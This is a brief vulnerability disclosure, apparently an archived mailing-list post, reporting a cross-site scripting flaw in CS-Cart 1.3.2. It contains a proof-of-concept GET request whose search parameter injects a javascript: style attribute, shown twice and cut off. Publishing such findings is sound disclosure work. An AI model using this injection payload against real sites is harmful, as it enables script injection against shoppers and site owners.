CS-Cart XSSMar 19 2008 06:33PM swhite securestate com
CS-Cart XSS
Discovered by sasquatch of SecureState - www.securestate.com
Version: 1.3.2 obtained from /cscart/install.php
GET /cscart/index.php?target=products&mode=search&subcats=Y&type=extended&av
ail=Y&pshor=Y&pfull=Y&pname=Y&cid=3&q=%22%20style%3D%22background:url(ja
vascript:alert(12345)...
Discovered by sasquatch of SecureState - www.securestate.com
Version: 1.3.2 obtained from /cscart/install.php
GET /cscart/index.php?target=products&mode=search&subcats=Y&type=extended&av
ail=Y&pshor=Y&pfull=Y&pname=Y&cid=3&q=%22%20style%3D%22background:url(ja
vascript:alert(12345)...
[ more ]